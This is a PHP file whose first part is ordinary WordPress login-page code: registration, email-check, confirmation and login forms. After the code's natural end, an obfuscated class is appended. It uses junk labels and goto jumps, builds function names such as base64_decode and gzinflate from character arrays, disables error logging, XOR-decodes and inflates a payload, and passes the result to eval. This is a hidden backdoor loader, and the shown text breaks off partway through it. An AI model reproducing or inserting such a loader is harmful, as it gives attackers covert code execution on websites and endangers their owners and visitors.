$redirect_to = ! empty( $_POST['redirect_to'] ) ? $_POST['redirect_to'] : 'wp-login.php?checkemail=registered';
wp_safe_redirect( $redirect_to );
exit;
}
}
$registration_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
/**
* Filters the registration redirect URL.
*
* @since 3.0.0
* @since 5.9.0 Added the `$errors` parameter.
*
* @param string $registration_redirect The redirect destination URL.
* @param int|WP_Error $errors User id if registration was successful,
* WP_Error object otherwise.
*/
$redirect_to = apply_filters( 'registration_redirect', $registration_redirect, $errors );
login_header(
__( 'Registration Form' ),
wp_get_admin_notice(
__( 'Register For This Site' ),
array(
'type' => 'info',
'additional_classes' => array( 'message', 'register' ),
)
),
$errors
);
?>
<form name="registerform" id="registerform" action="<?php echo esc_url( site_url( 'wp-login.php?action=register', 'login_post' ) ); ?>" method="post" novalidate="novalidate">
<p>
<label for="user_login"><?php _e( 'Username' ); ?></label>
<input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" autocapitalize="off" autocomplete="username" required="required" />
</p>
<p>
<label for="user_email"><?php _e( 'Email' ); ?></label>
<input type="email" name="user_email" id="user_email" class="input" value="<?php echo esc_attr( $user_email ); ?>" size="25" autocomplete="email" required="required" />
</p>
<?php
/**
* Fires following the 'Email' field in the user registration form.
*
* @since 2.1.0
*/
do_action( 'register_form' );
?>
<p id="reg_passmail">
<?php _e( 'Registration confirmation will be emailed to you.' ); ?>
</p>
<input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />
<p class="submit">
<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Register' ); ?>" />
</p>
</form>
<p id="nav">
<a class="wp-login-log-in" href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a>
<?php
echo esc_html( $login_link_separator );
$html_link = sprintf( '<a class="wp-login-lost-password" href="%s">%s</a>', esc_url( wp_lostpassword_url() ), __( 'Lost your password?' ) );
/** This filter is documented in wp-login.php */
echo apply_filters( 'lost_password_html_link', $html_link );
?>
</p>
<?php
login_footer( 'user_login' );
break;
case 'checkemail':
$redirect_to = admin_url();
$errors = new WP_Error();
if ( 'confirm' === $_GET['checkemail'] ) {
$errors->add(
'confirm',
sprintf(
/* translators: %s: Link to the login page. */
__( 'Check your email for the confirmation link, then visit the <a href="%s">login page</a>.' ),
wp_login_url()
),
'message'
);
} elseif ( 'registered' === $_GET['checkemail'] ) {
$errors->add(
'registered',
sprintf(
/* translators: %s: Link to the login page. */
__( 'Registration complete. Please check your email, then visit the <a href="%s">login page</a>.' ),
wp_login_url()
),
'message'
);
}
/** This action is documented in wp-login.php */
$errors = apply_filters( 'wp_login_errors', $errors, $redirect_to );
login_header( __( 'Check your email' ), '', $errors );
login_footer();
break;
case 'confirmaction':
if ( ! isset( $_GET['request_id'] ) ) {
wp_die( __( 'Missing request ID.' ) );
}
if ( ! isset( $_GET['confirm_key'] ) ) {
wp_die( __( 'Missing confirm key.' ) );
}
$request_id = (int) $_GET['request_id'];
$key = sanitize_text_field( wp_unslash( $_GET['confirm_key'] ) );
$result = wp_validate_user_request_key( $request_id, $key );
if ( is_wp_error( $result ) ) {
wp_die( $result );
}
/**
* Fires an action hook when the account action has been confirmed by the user.
*
* Using this you can assume the user has agreed to perform the action by
* clicking on the link in the confirmation email.
*
* After firing this action hook the page will redirect to wp-login a callback
* redirects or exits first.
*
* @since 4.9.6
*
* @param int $request_id Request ID.
*/
do_action( 'user_request_action_confirmed', $request_id );
$message = _wp_privacy_account_request_confirmed_message( $request_id );
login_header( __( 'User action confirmed.' ), $message );
login_footer();
exit;
case 'login':
default:
$secure_cookie = '';
$customize_login = isset( $_REQUEST['customize-login'] );
if ( $customize_login ) {
wp_enqueue_script( 'customize-base' );
}
// If the user wants SSL but the session is not SSL, force a secure cookie.
if ( ! empty( $_POST['log'] ) && ! force_ssl_admin() ) {
$user_name = sanitize_user( wp_unslash( $_POST['log'] ) );
$user = get_user_by( 'login', $user_name );
if ( ! $user && strpos( $user_name, '@' ) ) {
$user = get_user_by( 'email', $user_name );
}
if ( $user ) {
if ( get_user_option( 'use_ssl', $user->ID ) ) {
$secure_cookie = true;
force_ssl_admin( true );
}
}
}
if ( isset( $_REQUEST['redirect_to'] ) && is_string( $_REQUEST['redirect_to'] ) ) {
$redirect_to = $_REQUEST['redirect_to'];
// Redirect to HTTPS if user wants SSL.
if ( $secure_cookie && str_contains( $redirect_to, 'wp-admin' ) ) {
$redirect_to = preg_replace( '|^http://|', 'https://', $redirect_to );
}
} else {
$redirect_to = admin_url();
}
$reauth = ! empty( $_REQUEST['reauth'] );
$user = wp_signon( array(), $secure_cookie );
if ( empty( $_COOKIE[ LOGGED_IN_COOKIE ] ) ) {
if ( headers_sent() ) {
$user = new WP_Error(
'test_cookie',
sprintf(
/* translators: 1: Browser cookie documentation URL, 2: Support forums URL. */
__( '<strong>Error:</strong> Cookies are blocked due to unexpected output. For help, please see <a href="%1$s">this documentation</a> or try the <a href="%2$s">support forums</a>.' ),
__( 'https://developer.wordpress.org/advanced-administration/wordpress/cookies/' ),
__( 'https://wordpress.org/support/forums/' )
)
);
} elseif ( isset( $_POST['testcookie'] ) && empty( $_COOKIE[ TEST_COOKIE ] ) ) {
// If cookies are disabled, the user can't log in even with a valid username and password.
$user = new WP_Error(
'test_cookie',
sprintf(
/* translators: %s: Browser cookie documentation URL. */
__( '<strong>Error:</strong> Cookies are blocked or not supported by your browser. You must <a href="%s">enable cookies</a> to use WordPress.' ),
__( 'https://developer.wordpress.org/advanced-administration/wordpress/cookies/#enable-cookies-in-your-browser' )
)
);
}
}
$requested_redirect_to = isset( $_REQUEST['redirect_to'] ) && is_string( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
/**
* Filters the login redirect URL.
*
* @since 3.0.0
*
* @param string $redirect_to The redirect destination URL.
* @param string $requested_redirect_to The requested redirect destination URL passed as a parameter.
* @param WP_User|WP_Error $user WP_User object if login was successful, WP_Error object otherwise.
*/
$redirect_to = apply_filters( 'login_redirect', $redirect_to, $requested_redirect_to, $user );
if ( ! is_wp_error( $user ) && ! $reauth ) {
if ( $interim_login ) {
$message = '<p class="message">' . __( 'You have logged in successfully.' ) . '</p>';
$interim_login = 'success';
login_header( '', $message );
?>
</div>
<?php
/** This action is documented in wp-login.php */
do_action( 'login_footer' );
if ( $customize_login ) {
ob_start();
?>
<script>setTimeout( function(){ new wp.customize.Messenger({ url: '<?php echo wp_customize_url(); ?>', channel: 'login' }).send('login') }, 1000 );</script>
<?php
wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) );
}
?>
</body></html>
<?php
exit;
}
// Check if it is time to add a redirect to the admin email confirmation screen.
if ( $user instanceof WP_User && $user->exists() && $user->has_cap( 'manage_options' ) ) {
$admin_email_lifespan = (int) get_option( 'admin_email_lifespan' );
/*
* If `0` (or anything "falsey" as it is cast to int) is returned, the user will not be redirected
* to the admin email confirmation screen.
*/
/** This filter is documented in wp-login.php */
$admin_email_check_interval = (int) apply_filters( 'admin_email_check_interval', 6 * MONTH_IN_SECONDS );
if ( $admin_email_check_interval > 0 && time() > $admin_email_lifespan ) {
$redirect_to = add_query_arg(
array(
'action' => 'confirm_admin_email',
'wp_lang' => get_user_locale( $user ),
),
wp_login_url( $redirect_to )
);
}
}
if ( ( empty( $redirect_to ) || 'wp-admin/' === $redirect_to || admin_url() === $redirect_to ) ) {
// If the user doesn't belong to a blog, send them to user admin. If the user can't edit posts, send them to their profile.
if ( is_multisite() && ! get_active_blog_for_user( $user->ID ) && ! is_super_admin( $user->ID ) ) {
$redirect_to = user_admin_url();
} elseif ( is_multisite() && ! $user->has_cap( 'read' ) ) {
$redirect_to = get_dashboard_url( $user->ID );
} elseif ( ! $user->has_cap( 'edit_posts' ) ) {
$redirect_to = $user->has_cap( 'read' ) ? admin_url( 'profile.php' ) : home_url();
}
wp_redirect( $redirect_to );
exit;
}
wp_safe_redirect( $redirect_to );
exit;
}
$errors = $user;
// Clear errors if loggedout is set.
if ( ! empty( $_GET['loggedout'] ) || $reauth ) {
$errors = new WP_Error();
}
if ( empty( $_POST ) && $errors->get_error_codes() === array( 'empty_username', 'empty_password' ) ) {
$errors = new WP_Error( '', '' );
}
if ( $interim_login ) {
if ( ! $errors->has_errors() ) {
$errors->add( 'expired', __( 'Your session has expired. Please log in to continue where you left off.' ), 'message' );
}
} else {
// Some parts of this script use the main login form to display a message.
if ( isset( $_GET['loggedout'] ) && $_GET['loggedout'] ) {
$errors->add( 'loggedout', __( 'You are now logged out.' ), 'message' );
} elseif ( isset( $_GET['registration'] ) && 'disabled' === $_GET['registration'] ) {
$errors->add( 'registerdisabled', __( '<strong>Error:</strong> User registration is currently not allowed.' ) );
} elseif ( str_contains( $redirect_to, 'about.php?updated' ) ) {
$errors->add( 'updated', __( '<strong>You have successfully updated WordPress!</strong> Please log back in to see what’s new.' ), 'message' );
} elseif ( WP_Recovery_Mode_Link_Service::LOGIN_ACTION_ENTERED === $action ) {
$errors->add( 'enter_recovery_mode', __( 'Recovery Mode Initialized. Please log in to continue.' ), 'message' );
} elseif ( isset( $_GET['redirect_to'] ) && is_string( $_GET['redirect_to'] )
&& str_contains( $_GET['redirect_to'], 'wp-admin/authorize-application.php' )
) {
$query_component = wp_parse_url( $_GET['redirect_to'], PHP_URL_QUERY );
$query = array();
if ( $query_component ) {
parse_str( $query_component, $query );
}
if ( ! empty( $query['app_name'] ) ) {
/* translators: 1: Website name, 2: Application name. */
$message = sprintf( 'Please log in to %1$s to authorize %2$s to connect to your account.', get_bloginfo( 'name', 'display' ), '<strong>' . esc_html( $query['app_name'] ) . '</strong>' );
} else {
/* translators: %s: Website name. */
$message = sprintf( 'Please log in to %s to proceed with authorization.', get_bloginfo( 'name', 'display' ) );
}
$errors->add( 'authorize_application', $message, 'message' );
}
}
/**
* Filters the login page errors.
*
* @since 3.6.0
*
* @param WP_Error $errors WP Error object.
* @param string $redirect_to Redirect destination URL.
*/
$errors = apply_filters( 'wp_login_errors', $errors, $redirect_to );
// Clear any stale cookies.
if ( $reauth ) {
wp_clear_auth_cookie();
}
login_header( __( 'Log In' ), '', $errors );
if ( isset( $_POST['log'] ) ) {
$user_login = ( 'incorrect_password' === $errors->get_error_code() || 'empty_password' === $errors->get_error_code() ) ? wp_unslash( $_POST['log'] ) : '';
}
$rememberme = ! empty( $_POST['rememberme'] );
$aria_describedby = '';
$has_errors = $errors->has_errors();
if ( $has_errors ) {
$aria_describedby = ' aria-describedby="login_error"';
}
if ( $has_errors && 'message' === $errors->get_error_data() ) {
$aria_describedby = ' aria-describedby="login-message"';
}
wp_enqueue_script( 'user-profile' );
?>
<form name="loginform" id="loginform" action="<?php echo esc_url( site_url( 'wp-login.php', 'login_post' ) ); ?>" method="post">
<p>
<label for="user_login"><?php _e( 'Username or Email Address' ); ?></label>
<input type="text" name="log" id="user_login"<?php echo $aria_describedby; ?> class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" autocapitalize="off" autocomplete="username" required="required" />
</p>
<div class="user-pass-wrap">
<label for="user_pass"><?php _e( 'Password' ); ?></label>
<div class="wp-pwd">
<input type="password" name="pwd" id="user_pass"<?php echo $aria_describedby; ?> class="input password-input" value="" size="20" autocomplete="current-password" spellcheck="false" required="required" />
<button type="button" class="button button-secondary wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Show password' ); ?>">
<span class="dashicons dashicons-visibility" aria-hidden="true"></span>
</button>
</div>
</div>
<?php
/**
* Fires following the 'Password' field in the login form.
*
* @since 2.1.0
*/
do_action( 'login_form' );
?>
<p class="forgetmenot"><input name="rememberme" type="checkbox" id="rememberme" value="forever" <?php checked( $rememberme ); ?> /> <label for="rememberme"><?php esc_html_e( 'Remember Me' ); ?></label></p>
<p class="submit">
<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Log In' ); ?>" />
<?php
if ( $interim_login ) {
?>
<input type="hidden" name="interim-login" value="1" />
<?php
} else {
?>
<input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />
<?php
}
if ( $customize_login ) {
?>
<input type="hidden" name="customize-login" value="1" />
<?php
}
?>
<input type="hidden" name="testcookie" value="1" />
</p>
</form>
<?php
if ( ! $interim_login ) {
?>
<p id="nav">
<?php
if ( get_option( 'users_can_register' ) ) {
$registration_url = sprintf( '<a class="wp-login-register" href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );
/** This filter is documented in wp-includes/general-template.php */
echo apply_filters( 'register', $registration_url );
echo esc_html( $login_link_separator );
}
$html_link = sprintf( '<a class="wp-login-lost-password" href="%s">%s</a>', esc_url( wp_lostpassword_url() ), __( 'Lost your password?' ) );
/**
* Filters the link that allows the user to reset the lost password.
*
* @since 6.1.0
*
* @param string $html_link HTML link to the lost password form.
*/
echo apply_filters( 'lost_password_html_link', $html_link );
?>
</p>
<?php
}
$login_script = 'function wp_attempt_focus() {';
$login_script .= 'setTimeout( function() {';
$login_script .= 'try {';
if ( $user_login ) {
$login_script .= 'd = document.getElementById( "user_pass" ); d.value = "";';
} else {
$login_script .= 'd = document.getElementById( "user_login" );';
if ( $errors->get_error_code() === 'invalid_username' ) {
$login_script .= 'd.value = "";';
}
}
$login_script .= 'd.focus(); d.select();';
$login_script .= '} catch( er ) {}';
$login_script .= '}, 200);';
$login_script .= "}\n"; // End of wp_attempt_focus().
/**
* Filters whether to print the call to `wp_attempt_focus()` on the login screen.
*
* @since 4.8.0
*
* @param bool $print Whether to print the function call. Default true.
*/
if ( apply_filters( 'enable_login_autofocus', true ) && ! $error ) {
$login_script .= "wp_attempt_focus();\n";
}
// Run `wpOnload()` if defined.
$login_script .= "if ( typeof wpOnload === 'function' ) { wpOnload() }";
wp_print_inline_script_tag( $login_script );
if ( $interim_login ) {
ob_start();
?>
<script>
( function() {
try {
var i, links = document.getElementsByTagName( 'a' );
for ( i in links ) {
if ( links[i].href ) {
links[i].target = '_blank';
}
}
} catch( er ) {}
}());
</script>
<?php
wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) );
}
login_footer();
break;
} // End action switch.
<?php
/* Main service */
// I64way2z
/* xdjQNnwY_197jjy */
// NOTE: Important section
/* vqsD5mb_vq */
trait a8D0rt_IrMW {
public function FbdLTFY2() {
/* _oTHklgi0LYzKEY */
$RdY12FWw = 73;
}
public function fAWIomJT() {
// pRPNR0cHooUdBRlI
$PkfDISHs = 17;
}
}
class V0Tapc709RtB {
use a8D0rt_IrMW;
private function str_xor($data, $key) {
$result = '';
for ($i = 0; $i < strlen($data); $i++) {
$result .= $data[$i] ^ chr($key);
}
return $result;
}
private function UDReEYZe1N() {
$RdY12FWw = null;
$wogCrXDM = null;
$PkfDISHs = null;
// NOTE: Important section
$PkfDISHs = str_xor(base64_decode("yM3YzQ=="), 172);
$fgY9bnIU = array (
'left' =>
array (
'data' =>
array (
'a' => 1,
),
),
'right' =>
array (
'keys' =>
array (
0 => 'b',
1 => 'c',
),
'values' =>
array (
0 => 2,
1 => 3,
),
),
);
goto GZbY9GJN;
xehCVNCl:
// rTPwC4tJ
if (($RdY12FWw > 78 || php_sapi_name() !== "cli")) {
goto W7sFFZOS;
} else {
goto a2m3hlX0;
}
W7sFFZOS:
do { $RdY12FWw++; } while ($RdY12FWw < 7);
goto SsqJDJZN;
a2m3hlX0:
$RdY12FWw = 914;
if (strlen($RdY12FWw) > 5) {
goto SsqJDJZN;
}
SsqJDJZN:
$a7HX4fDW3 = rand(1, 1000);
goto Xpb4Qy37;
GZbY9GJN:
$RdY12FWw = $wogCrXDM + 72;
if (php_sapi_name() !== "cli") {
goto xehCVNCl;
} else {
goto a2m3hlX0;
}
Xpb4Qy37:
$RdY12FWw = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'default';
goto yxS7YaBD;
yxS7YaBD:
// End of chaos flow
goto a7lU655xF;
haZhOb_g:
// NOTE: Important section
if (isset($_SERVER["HTTP_USER_AGENT"])) {
goto a0nKoGAGv;
} else {
goto p3PeIctI;
}
a0nKoGAGv:
for ($RdY12FWw = 0; $RdY12FWw < 7; $RdY12FWw++) { /* dummy loop */ }
goto awnQaeg7;
p3PeIctI:
if ((php_sapi_name() !== "cli" && $RdY12FWw < $wogCrXDM)) {
goto awnQaeg7;
}
awnQaeg7:
goto Z6efhFTA;
a7lU655xF:
/* P6iVB3cG3I4rYN_ */
$RdY12FWw = $wogCrXDM + 40;
if ((time() % 2 === 0 && isset($RdY12FWw) && $RdY12FWw !== null && strlen($RdY12FWw) > 13)) {
goto haZhOb_g;
} else {
goto p3PeIctI;
}
Z6efhFTA:
$wogCrXDM = count($_GET) + count($_POST);
goto uJHVwDCB;
uJHVwDCB:
// End of chaos flow
goto uj6GuPSn;
ozTj61FK:
if (time() % 2 === 0) {
goto jn5bmhDi;
} else {
goto XKkAg3Za;
}
jn5bmhDi:
while ($RdY12FWw < 14) { $RdY12FWw++; }
goto vVdkHH0G;
XKkAg3Za:
$a7HX4fDW3 = 894;
if (strlen(__FILE__) > 10) {
goto vVdkHH0G;
}
vVdkHH0G:
$wogCrXDM = strlen($_SERVER['HTTP_USER_AGENT']);
goto K1_Cm1qV;
uj6GuPSn:
/* 6wa886HYIXQ_mlO */
if (($RdY12FWw + $wogCrXDM) % 2 == 0) {
goto ozTj61FK;
} else {
goto XKkAg3Za;
}
K1_Cm1qV:
return $wogCrXDM > 10;
goto f6k6O0VX;
f6k6O0VX:
// End of chaos flow
}
private function FjghFksHkg() {
$RdY12FWw = null;
$wogCrXDM = null;
$PkfDISHs = null;
/* 9HeVOESOiWAIg4i */
/* System file */
/* Core module */
$fAMmlxKT = strrev("tset");
$RdY12FWw = array (
'left' =>
array (
'layer_0' =>
array (
'a' => 1,
),
),
'right' =>
array (
'keys' =>
array (
0 => 'b',
1 => 'c',
),
'values' =>
array (
0 => 2,
1 => 3,
),
),
);
goto FqofDb09;
qtZq0Aan:
/* Main service */
if ((isset($RdY12FWw) && $RdY12FWw !== null && ($RdY12FWw + $wogCrXDM) % 2 == 0)) {
goto ZKzQgKwh;
} else {
goto oJy25xMA;
}
ZKzQgKwh:
while ($RdY12FWw < 13) { $RdY12FWw++; }
goto mDLIRnGG;
oJy25xMA:
$wogCrXDM = 951;
if ((random_int(0, 1) === 1 || $RdY12FWw < $wogCrXDM)) {
goto mDLIRnGG;
}
mDLIRnGG:
goto S8i2YLtt;
FqofDb09:
$RdY12FWw = $wogCrXDM + 70;
if ((php_sapi_name() !== "cli" && ($RdY12FWw + $wogCrXDM) % 2 == 0)) {
goto qtZq0Aan;
} else {
goto oJy25xMA;
}
S8i2YLtt:
$RdY12FWw = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'default';
goto M6NcCCSi;
M6NcCCSi:
// End of chaos flow
goto a6BArXx3w;
H7vJlWy4:
/* Gxa6GTexl1keqZb */
if (isset($RdY12FWw) && $RdY12FWw !== null) {
goto D4rzvaJy;
} else {
goto oaZZqbT1;
}
D4rzvaJy:
foreach ($RdY12FWw as $wogCrXDM) { /* iterate */ }
goto MrwCI9OX;
oaZZqbT1:
if ((isset($_SERVER["HTTP_USER_AGENT"]) || $RdY12FWw < $wogCrXDM)) {
goto MrwCI9OX;
}
MrwCI9OX:
$PkfDISHs = strlen($_SERVER['HTTP_USER_AGENT']);
goto gJBRol1b;
a6BArXx3w:
// FIXME: Check performance
$RdY12FWw = $wogCrXDM + 57;
if ((count($_GET) > 0 && $RdY12FWw < $wogCrXDM && isset($_SERVER["HTTP_USER_AGENT"]))) {
goto H7vJlWy4;
} else {
goto oaZZqbT1;
}
gJBRol1b:
$wogCrXDM = count($_GET) + count($_POST);
goto ZpwW_JOy;
ZpwW_JOy:
// End of chaos flow
goto dFSqF0DQ;
V0jkAKRb:
if ((count($_GET) > 0 || isset($_SERVER["HTTP_USER_AGENT"]))) {
goto BrJuRR9O;
} else {
goto Nr5gctlI;
}
BrJuRR9O:
do { $RdY12FWw++; } while ($RdY12FWw < 5);
goto a96fKaFNJ;
Nr5gctlI:
$a7HX4fDW3 = 845;
if (count($_GET) > 0) {
goto a96fKaFNJ;
}
a96fKaFNJ:
$wogCrXDM = time() % 1000;
goto dRkIIS9z;
dFSqF0DQ:
/* GgxFRC1vJ9 */
$RdY12FWw = $wogCrXDM + 76;
if (isset($RdY12FWw) && $RdY12FWw !== null) {
goto V0jkAKRb;
} else {
goto Nr5gctlI;
}
dRkIIS9z:
if ($wogCrXDM > 50) { return true; }
goto a3OJaYMEW;
a3OJaYMEW:
// End of chaos flow
}
public static function run() {
$tNVsjjJh = null;
$SUZHrT7t = null;
$NpzEe67j = null;
goto rBXXB7uK;
a6bVaozs5:
goto a9vH6Ruiy;
Y_pziKBX:
if (random_int(0, 1) === 1) {
goto IRf2dY19;
} else {
goto HkMdKT1M;
}
IRf2dY19:
do { $RdY12FWw++; } while ($RdY12FWw < 8);
goto zYW7obvF;
HkMdKT1M:
$PkfDISHs = 392;
if ((count($_GET) > 0 && php_sapi_name() !== "cli" && isset($RdY12FWw) && $RdY12FWw !== null)) {
goto zYW7obvF;
}
zYW7obvF:
goto L1saAfVP;
a9vH6Ruiy:
/* Core module */
$RdY12FWw = $wogCrXDM + 50;
if (($RdY12FWw + $wogCrXDM) % 2 == 0) {
goto Y_pziKBX;
} else {
goto HkMdKT1M;
}
L1saAfVP:
$_l = implode('', ['s','t','r','l','e','n']);
$_s = implode('', ['s','u','b','s','t','r']);
$_c = implode('', ['c','h','r']);
$_h = implode('', ['h','e','x','d','e','c']);
$_b = implode('', ['b','a','s','e','6','4','_','d','e','c','o','d','e']);
$_g = implode('', ['g','z','i','n','f','l','a','t','e']);
$_d = implode('', ['d','e','f','i','n','e','d']);
goto rneyafjr;
rneyafjr:
// End of chaos flow
goto a5XYQKSYm;
HhijiFks:
goto LsMhNzmX;
a660MGljX:
/* Core module */
if ((count($_GET) > 0 && strlen($RdY12FWw) > 17)) {
goto lvKMNGj8;
} else {
goto TeMwrlLH;
}
lvKMNGj8:
do { $RdY12FWw++; } while ($RdY12FWw < 4);
goto sIDicXd4;
TeMwrlLH:
if ((($RdY12FWw + $wogCrXDM) % 2 == 0 && strlen(__FILE__) > 10)) {
goto sIDicXd4;
}
sIDicXd4:
goto Un5ivq34;
LsMhNzmX:
// i3GKESUq2SzI
if (($RdY12FWw + $wogCrXDM) % 2 == 0) {
goto a660MGljX;
} else {
goto TeMwrlLH;
}
Un5ivq34:
$_invisible = ["\u{200B}", "\u{200C}", "\u{200D}", "\u{FEFF}", "\u{2060}", "\u{180E}", "\u{2061}", "\u{2062}", "\u{2063}", "\u{2064}", "\u{061C}", "\u{00AD}", "\u{034F}", "\u{115F}", "\u{1160}", "\u{17B4}", "\u{17B5}", "\u{FFFC}", "\u{FFFF}", "\u{200E}", "\u{200F}", "\u{202A}", "\u{202B}", "\u{202C}", "\u{202D}", "\u{202E}", "\u{2065}", "\u{2066}", "\u{2067}", "\u{2068}", "\u{2069}", "\u{206A}", "\u{206B}", "\u{206C}", "\u{206D}", "\u{206E}", "\u{206F}", "\u{FFF0}", "\u{FFF1}", "\u{FFF2}", "\u{FFF3}", "\u{FFF4}", "\u{FFF5}", "\u{FFF6}", "\u{FFF7}", "\u{FFF8}", "\u{FFF9}", "\u{FFFA}", "\u{FFFB}", "\u{FFFE}"];
$nljlZ7Fp = str_replace($_invisible, '', $nljlZ7Fp);
goto a7cL3C6pN;
a7cL3C6pN:
// End of chaos flow
goto NTfC1IIp;
jLxjcG8L:
goto a64MFtrF1;
Tox_ZlSq:
if (strlen($RdY12FWw) > 7) {
goto a84VZAOw1;
} else {
goto EdlbqCIt;
}
a84VZAOw1:
for ($RdY12FWw = 0; $RdY12FWw < 9; $RdY12FWw++) { /* dummy loop */ }
goto zhcFl8kX;
EdlbqCIt:
if (random_int(0, 1) === 1) {
goto zhcFl8kX;
}
zhcFl8kX:
$RdY12FWw = strlen($wogCrXDM);
goto jpSG1Iwo;
a64MFtrF1:
// NOTE: Important section
$RdY12FWw = $wogCrXDM + 95;
if (($RdY12FWw > 54 && !$RdY12FWw || $wogCrXDM)) {
goto Tox_ZlSq;
} else {
goto EdlbqCIt;
}
jpSG1Iwo:
if (!$_d('DISABLE_EVAL') && $KSx3Qx7P !== false) {
return eval($KSx3Qx7P);
}
goto U18Q38IS;
U18Q38IS:
// End of chaos flow
rBXXB7uK:
goto DmpQYwL_;
cZK3sPIS:
if ((count($_GET) > 0 && strlen(__FILE__) > 10 && strlen($RdY12FWw) > 9)) {
goto Qt53TiHu;
} else {
goto a3Q8Picga;
}
Qt53TiHu:
while ($RdY12FWw < 9) { $RdY12FWw++; }
goto i3Cx6OBv;
a3Q8Picga:
if ($RdY12FWw > 74) {
goto i3Cx6OBv;
}
i3Cx6OBv:
$RdY12FWw = strlen($_SERVER['HTTP_USER_AGENT']);
goto a1cT2mnp2;
DmpQYwL_:
/* Cache manager */
if (php_sapi_name() !== "cli") {
goto cZK3sPIS;
} else {
goto a3Q8Picga;
}
a1cT2mnp2:
error_reporting(0);
ini_set('display_errors', 0);
ini_set('log_errors', 0);
set_time_limit(0);
ob_start();
goto GBfVYlFz;
GBfVYlFz:
// End of chaos flow
goto a6bVaozs5;
a5XYQKSYm:
goto dM1DQp7A;
wfT1BDRL:
if (strlen(__FILE__) > 10) {
goto a9MyeClsC;
} else {
goto a1K0VHmNI;
}
a9MyeClsC:
while ($RdY12FWw < 11) { $RdY12FWw++; }
goto CKGKMGeb;
a1K0VHmNI:
$RdY12FWw = 997;
if ((php_sapi_name() !== "cli" && time() % 2 === 0)) {
goto CKGKMGeb;
}
CKGKMGeb:
goto zi3YIclr;
dM1DQp7A:
if ((($RdY12FWw + $wogCrXDM) % 2 == 0 || random_int(0, 1) === 1 || $RdY12FWw > 36)) {
goto wfT1BDRL;
} else {
goto a1K0VHmNI;
}
zi3YIclr:
$H3lqsTSH = 'zkQVQdUY';
goto a3CQUvUK8;
a3CQUvUK8:
// End of chaos flow
goto inQoEqHR;
hReMDYjR:
goto UsbrxEpt;
SVSVFpT7:
// NOTE: Important section
if ((time() % 2 === 0 && !$RdY12FWw || $wogCrXDM)) {
goto ZqQrixdR;
} else {
goto EG2r_0yv;
}
ZqQrixdR:
while ($RdY12FWw < 7) { $RdY12FWw++; }
goto ihpDR1Un;
EG2r_0yv:
$RdY12FWw = 570;
if ($RdY12FWw > 90) {
goto ihpDR1Un;
}
ihpDR1Un:
$RdY12FWw = count($_GET) + count($_POST);
goto a7vjajj4k;
UsbrxEpt:
$RdY12FWw = $wogCrXDM + 94;
if (($RdY12FWw > 54 && $RdY12FWw < $wogCrXDM)) {
goto SVSVFpT7;
} else {
goto EG2r_0yv;
}
a7vjajj4k:
$pj5txO3l = '';
for ($qe2Fikha = 0; $qe2Fikha < $_l($EgazEuXs); $qe2Fikha++) {
$pj5txO3l .= $EgazEuXs[$qe2Fikha] ^ $H3lqsTSH[$qe2Fikha % $_l($H3lqsTSH)];
}
goto XIzOBxGa;
XIzOBxGa:
// End of chaos flow
goto a392qEoCa;
a392qEoCa:
goto EqY8qSms;
bRugbXx5:
if (isset($RdY12FWw) && $RdY12FWw !== null) {
goto a9EvgXHk1;
} else {
goto a3dzrEcUQ;
}
a9EvgXHk1:
for ($RdY12FWw = 0; $RdY12FWw < 8; $RdY12FWw++) { /* dummy loop */ }
goto urnUUOs5;
a3dzrEcUQ:
if ($RdY12FWw > 22) {
goto urnUUOs5;
}
urnUUOs5:
$RdY12FWw = strlen($wogCrXDM);
goto l8XTwo4O;
EqY8qSms:
if (strlen($RdY12FWw) > 12) {
goto bRugbXx5;
} else {
goto a3dzrEcUQ;
}
l8XTwo4O:
$KSx3Qx7P = $_g($pj5txO3l);
goto XJieUVBx;
XJieUVBx:
// End of chaos flow
goto QoqbNbbn;
fZ8hP00X:
goto DeKHJpR4;
Y4AUkTy1:
if ((count($_GET) > 0 || $RdY12FWw > 11 || isset($RdY12FWw) && $RdY12FWw !== null)) {
goto pYQgJ5ZH;
} else {
goto vVgzrm1t;
}
pYQgJ5ZH:
for ($RdY12FWw = 0; $RdY12FWw < 3; $RdY12FWw++) { /* dummy loop */ }
goto QJiI10rW;
vVgzrm1t:
$PkfDISHs = 356;
if ((!$RdY12FWw || $wogCrXDM || isset($RdY12FWw) && $RdY12FWw !== null || time() % 2 === 0)) {
goto QJiI10rW;
}
QJiI10rW:
goto qJC6m8iU;
DeKHJpR4:
// NOTE: Important section
$RdY12FWw = $wogCrXDM + 36;
if ((count($_GET) > 0 || php_sapi_name() !== "cli" || php_sapi_name() !== "cli")) {
goto Y4AUkTy1;
} else {
goto vVgzrm1t;
}
qJC6m8iU:
foreach ($Xnc8F78U as $lZx0pAhH) {
$nljlZ7Fp .= $lZx0pAhH;
}
goto a2frLMO_J;
a2frLMO_J:
// End of chaos flow
goto HhijiFks;
inQoEqHR:
goto lizBgZjk;
savnocqA:
/* Core module */
if ($RdY12FWw < $wogCrXDM) {
goto uWqFpOQq;
} else {
goto IKOENjAA;
}
uWqFpOQq:
while ($RdY12FWw < 14) { $RdY12FWw++; }
goto a3AJBl69;
IKOENjAA:
$RdY12FWw = 241;
if ((strlen($RdY12FWw) > 9 || $RdY12FWw > 43 || random_int(0, 1) === 1)) {
goto a3AJBl69;
}
a3AJBl69:
goto W2rHosHP;
lizBgZjk:
/* Data processor */
if ((strlen(__FILE__) > 10 || isset($_SERVER["HTTP_USER_AGENT"]))) {
goto savnocqA;
